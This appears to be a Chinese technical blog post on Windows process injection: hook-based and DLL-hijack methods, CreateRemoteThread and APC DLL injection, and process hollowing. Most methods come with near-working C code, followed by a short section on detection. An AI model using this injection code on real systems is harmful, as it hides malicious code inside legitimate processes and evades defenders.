Windows 进程注入

1. Process Injection 方法总结

进程注入是windows病毒和恶意软件最常用的手法之一,Windows下进程注入的方法比较
多,这里介绍常见的一些方法,以及相应的检查手段。

1.1 SetWindowsHookEx

SetWindowsHookEx估计是大家最熟悉的方法了,这个是微软提供给我们使用正规用法。
往Windows的hook chain中安装hook 例程,监控系统某种类型的event, 使用这种方法需要
实现一个dll。

1
2
3
4
5
6
HHOOK WINAPI SetWindowsHookEx(
_In_ int idHook,
_In_ HOOKPROC lpfn,
_In_ HINSTANCE hMod,
_In_ DWORD dwThreadId
);
  • dwThread 为0,将监管系统中所有线程。
  • idHook 指定监控event的类型
  • hMod dll句柄
  • lpfn hook例程的指针

MSDN给出了一个使用的例子:

1
2
3
4
5
6
7
8
9
10
11
12
HOOKPROC hkprcSysMsg;
static HINSTANCE hinstDLL;
static HHOOK hhookSysMsg;

hinstDLL = LoadLibrary(TEXT("c:\\myapp\\sysmsg.dll"));
hkprcSysMsg = (HOOKPROC)GetProcAddress(hinstDLL, "SysMessageProc");

hhookSysMsg = SetWindowsHookEx(
WH_SYSMSGFILTER,
hkprcSysMsg,
hinstDLL,
0);

值得一提的是这个API只能监控GUI程序,console的程序是监控不了。当年使用的时候还吃
了亏。

1.2 lpk.dll

这是一种比较常见的方法,一般把这种方法称为 dll 劫持 (dll hijack),lpk.dll默认
的位置在,如果在其他的路径发现lpk.dll就需要需要注意了。

这种方法需要实现和原始的lpk.dll一样导出函数,每个函数都转向调用真正的lpk.dll
中的导出函数,这样对于程序来说是完全感觉不到什么异常变化的,但是却被伪造的lpk.dll
过了一道,所以称为为劫持。

这里有二个问题,值得思考。

如何能让程序加载我们的lpk.dll而不是系统真正的dll

如果知道Windows查找dll的顺序,就很容易解决这个问题了,微软的MSDN网站很贴心地
回答了我们的问题。

http://msdn.microsoft.com/en-us/library/windows/desktop/ms682586(v=vs.85).aspx

1
2
3
4
5
6
7
8
9
a. The directory from which the application loaded.
b. The current directory.
c. The system directory. Use the GetSystemDirectory function to get the path of this directory.
d. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched.
e. The Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
f. The directories that are listed in the PATH environment variable. Note that
this does not include the per-application path specified by the App
Paths registry key. The App Paths key is not used when computing the DLL
search path.

因此把lpk.dll放到运行的程序同一目录即可。

为什么选取lpk.dll

Windows 7 开始,默认已经不加载LPK.dll了,要Windows 7 默认加载LPK.dll
需要修改注册表,导入下面的注册表, 重启后生效

1
2
3
4
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]
"ExcludeFromKnownDlls"=hex(7):6c,00,70,00,6b,00,2e,00,64,00,6c,00,6c,00,00,00,00,00

1.3 CreateRemoteThread

CreateRemoteThread应该是非常常用的进程注入方法了,有两种常见的使用方法。API
原型如下:

1
2
3
4
5
6
7
8
9
 HANDLE WINAPI CreateRemoteThread(
_In_ HANDLE hProcess,
_In_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_ LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_ LPDWORD lpThreadId
);
  • hProcess 要注入的进程的句柄
  • lpStartAddress 远程进程中执行的函数的地址(指针)
  • lpParameter 远程进程中执行的函数的参数的地址 (指针)

实现个DLL

第一种方法同样是跨进程调用LoadLibrary加载指定的DLL,我们自己实现一个DLL,就可以为所欲为了,呵呵。

从API原型中可以看出,需要把数据写入远程的进程,Windows系统提供了WriteProcssMemory
来干这个事,但是如何能够保证我们往远程进程写的地址是可写的呢?

答案是无法保证。。。所以比较稳妥的方法是我们自己在远程进程中申请一块可写的内
存,然后把我们的数据写到远程进程中去。

在远程进程中申请内存也有相应的API VirtualAllocEx, 把前前后后都串起来就可以远
程注入DLL了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
if (process == NULL) {
printf("Error: the specified process couldn't be found.\n");
}

/*
* Get address of the LoadLibrary function.
*/
LPVOID addr = (LPVOID)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
if (addr == NULL) {
printf("Error: the LoadLibraryA function was not found inside kernel32.dll library.\n");
}

/*
* Allocate new memory region inside the process's address space.
*/
LPVOID arg = (LPVOID)VirtualAllocEx(process, NULL, strlen(buffer), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (arg == NULL) {
printf("Error: the memory could not be allocated inside the chosen process.\n");
}

/*
* Write the argument to LoadLibraryA to the process's newly allocated memory region.
*/
int n = WriteProcessMemory(process, arg, buffer, strlen(buffer), NULL);
if (n == 0) {
printf("Error: there was no bytes written to the process's address space.\n");
}

/*
* Inject our DLL into the process's address space.
*/
HANDLE threadID = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)addr, arg, NULL, NULL);
if (threadID == NULL) {
printf("Error: the remote thread could not be created.\n");
}
else {
printf("Success: the remote thread was successfully created.\n");
}

/*
* Close the handle to the process, becuase we've already injected the DLL.
*/
CloseHandle(process);

前面的代码示例代码,看起来很正常,基本上CreateRemoteThread的例子都是这么写的
但是如果如何看的仔细,还是会发现一个问题,不是说lpStartAddress必须是远程进程中
的地址吗,可是LoadLibraryA的地址是注入进程的地址不是远程进程中的地址。

很多文章在这里都没有说透,但是牛书《Windows核心编程》对此有着详细的说明。根据
经验Windows系统总是把Kernel32.dll映射到进程的相同地址,Windows开启ASLR后,重启后
进程中Kernel32.dll的地址会发生变化,但是每个进程中Kernel32.dll的地址仍然相同!
所以我们可以在远程的进程使用本地进程的内存中的LoadLibraryA的地址。

写远程进程内存

第二种方法是直接远程注入代码,不注入DLL,其实并不一定要调用CreateRemoteThread
还有好几种替代方法,

  1. CreateRemoteThread最终会调用NtCreateThreadEx Native API,可以直接调用这个
    Native API来启动远程的线程。
  2. RtlCreateUserThread

1.4 AppInit_DLLs

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

这个键值被《Windows核心编程》介绍而格外出名,可执行文件在处理User32.dll的
DLL_PROCESS_ATTACH 时,会使用LoadLibirary加载AppInit_DLLS, 不链接User32.dll的程
序将不会加载AppInit_DLLS, 很少程序不需要链接User32.dll

新版本的Windows增加了几个关键的键值,会对DLL的注入有影响。

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs

  • REG_DWORD 1 表示全局开启
  • REG_DWORD 0 表示全局关闭

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\RequireSignedAppInit_DLLs

  • REG_DWORD 0 加载任意DLL
  • REG_DWORD 1 只加载签名的DLL

1.5 QueueUserApc

QueueUserApc API 原型如下:

DWORD WINAPI QueueUserAPC(
In PAPCFUNC pfnAPC, // APC function
In HANDLE hThread, // handle of thread
In ULONG_PTR dwData // APc function parameter
);

这个注入方法用的不多,但是也是老方法了,pjf在2007年《暴力注入explorer》的文章里
就提到了这种方法。作用是在线程的Apc队列插入一个用户模式下的APC 对象。

APC 是 asynchronous procedure call 的缩写,每个线程都有自己的APC队列,在线程APC
队列中的APC对象的函数将被线程执行,但是用户模式下的APC对象里的函数并不一定会马上
执行(所以是异步的),除非线程是alertable状态。当线程是alertable状态是,APC队列
里的Apc对象,按照FIFO的顺序进行处理,执行APC函数。线程调用 SleepEx,
SignalObjectAndWait, WaitForSingleObjectEx, WaitForMultipleObjectsEx 或者
MsgWaitForMultipleObjectsEx时线程进入alertable状态。

所以为了我们的函数能够尽快的执行,我们必须在目标进程所有的线程的APC队列中插入
APC 对象,基本上总有一个线程是alertable状态。

核心伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
DWORD ret;
char *DllName = 'c:\\MyDll.dll';
int len = strlen(DllName) + 1;

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
PVOID param = VirtualAllocEx(hProcess, NULL, len, MEM_COMMIT | MEM_TOP_DOWN, PAGE_READWRITE);

if (param != NULL) {
if (WriteProcessMemory(hProcess, param, (LPVOID)DllName, len, &ret)) {
for (DWORD p = 0; p < NumberOfThreads; p ++) {
hThread = OpenThread(THREAD_ALL_ACCESS, 0, ThreadId[p]);
if (hThread != 0) {
InjectDll(hProcess, hThread, (DWORD)param);
CloseHandle(hThread);
}
}
}

void InjectDll(HANDLE hProcess, HANDLE hThread, DWORD param) {
QueueUserAPC((PAPCFUNC)GetProcAddress(GetModuleHandle('kernel32.dll', 'LoadLibraryA', hThread, (DWORD)param);
}

1.6 ZwMapViewOfSection

这是最近出现的比较新的进程注入方法,在2014年左右有样本开始使用这种方法注入进程。
这种技术的本质是进程替换,使用合法的正常进程,执行的确是恶意的代码。

基本步骤如下:

  1. 使用CREATE_SUSPENDED调用CreateProcessW创建进程
  2. 使用ZwUnmapViewOfSection卸载进程空间中的原始代码
  3. 使用VirtualAllocEx分配内存,确保分配区域可写可执行
  4. 使用WriteProcessMemory在分配区域内写入恶意代码
  5. 使用SetThreadContext设置线程内容为指定的恶意代码
  6. 使用ResumeThread回复进程执行

代码中用到PEB的结构:

1
2
3
4
5
6
7
>dt nt!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 SpareBool : UChar
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
BOOL InjectProcess(LPTSTR VictimFile,LPTSTR InjectExe)
{
HANDLE hFile;
DWORD dwFileSize; //文件大小
IMAGE_DOS_HEADER DosHeader;
IMAGE_NT_HEADERS NtHeader;
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT context;
PVOID ImageBase;
unsigned long ImageSize;
unsigned long BaseAddr;
unsigned long retByte = 0;
LONG offset;
HMODULE hNtDll=GetModuleHandle("ntdll.dll");
if(!hNtDll)
return FALSE;
ZWUNMAPVIEWOFSECTION ZwUnmapViewOfSection = (ZWUNMAPVIEWOFSECTION)GetProcAddress(hNtDll,"ZwUnmapViewOfSection");
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
si.cb = sizeof(si);

hFile = ::CreateFile(InjectExe,GENERIC_READ,FILE_SHARE_READ | FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
return FALSE;
}
::SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
dwFileSize = ::GetFileSize(hFile, NULL);
LPBYTE pBuf = new BYTE[dwFileSize];
memset(pBuf, 0, dwFileSize);
DWORD dwNumberOfBytesRead = 0;
::ReadFile( hFile
, pBuf
, dwFileSize
, &dwNumberOfBytesRead
, NULL
);

::CopyMemory((void *)&DosHeader,pBuf,sizeof(IMAGE_DOS_HEADER));
::CopyMemory((void *)&NtHeader,&pBuf[DosHeader.e_lfanew],sizeof(IMAGE_NT_HEADERS));
//检查PE结构
//以挂起方式进程
BOOL res = CreateProcess(NULL,VictimFile,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);

if (res)
{
context.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(pi.hThread,&context)) //如果调用失败
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
ReadProcessMemory(pi.hProcess,(void *)(context.Ebx + 8),&BaseAddr,sizeof(unsigned long),NULL);
if (!BaseAddr)
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
//拆卸傀儡进程内存模块
if (ZwUnmapViewOfSection((unsigned long)pi.hProcess,BaseAddr))
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
ImageBase = VirtualAllocEx(pi.hProcess,
(void *)NtHeader.OptionalHeader.ImageBase,
NtHeader.OptionalHeader.SizeOfImage,
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE); //ImageBase 0x00400000
if (ImageBase == NULL)
{
DWORD wrongFlag = GetLastError();
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
//替换傀儡进程内存数据
if(!WriteProcessMemory(pi.hProcess, ImageBase, pBuf, NtHeader.OptionalHeader.SizeOfHeaders, &retByte))
{
DWORD wrongFlag2 = GetLastError();
}
//DOS 头 + PE 头 + 区块表的总大小
//定位到区块头
offset = DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS);
IMAGE_SECTION_HEADER secHeader;
WORD i = 0;
for (;i < NtHeader.FileHeader.NumberOfSections;i++)
{
//定位到各个区块
::CopyMemory((void *)&secHeader, &pBuf[offset + i*sizeof(IMAGE_SECTION_HEADER)],sizeof(IMAGE_SECTION_HEADER));
WriteProcessMemory(pi.hProcess,(LPVOID)((DWORD)ImageBase + secHeader.VirtualAddress),&pBuf[secHeader.PointerToRawData],secHeader.SizeOfRawData,&retByte);
VirtualProtectEx(pi.hProcess, (LPVOID)((DWORD)ImageBase + secHeader.VirtualAddress), secHeader.Misc.VirtualSize, PAGE_EXECUTE_READWRITE,&BaseAddr);
}

context.ContextFlags = CONTEXT_FULL;
//重置 执行文件入口
WriteProcessMemory(pi.hProcess, (void *)(context.Ebx + 8),
&ImageBase, //4194304
4, &retByte);
context.Eax = (unsigned long)ImageBase + NtHeader.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread,&context);
ResumeThread(pi.hThread);
}

CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
::CloseHandle(hFile);
delete[] pBuf;
return TRUE;
}

2. 检测方法

  1. 注册表相关注入继续可以通过Hook写注册表相关API实现监控
  2. SetWindowsHookEx则需要检查最后一个参数是否为0,为0表示全局注入,这是我们
    关注的地方。但是输入法之类的正常程序也可能使用注入技术。
  3. CreateRemoteThread进程注入比较复杂,核心要点是要有跨进程写入数据的动作,
    后续从两个维度来进行检查

2.1 检查跨进程写入的数据

虽然WriteProcessMemory的底层API经常被Windows底层用作数据传递,但是通过
特征可以识别出来

  1. 写入的数据是PE文件
  2. 写入的数据里包含.dll (一般是DLL文件名,或者是导入表相关数据)
  3. 写入超长数据

2.2 检查线程代码执行部分地址

检查代码地址是否在WriteProcessMemory写入的数据区域之内

参考链接


Windows 进程注入
http://usmacd.com/cn/process_injection/
Author
henices
Posted on
September 6, 2023
Licensed under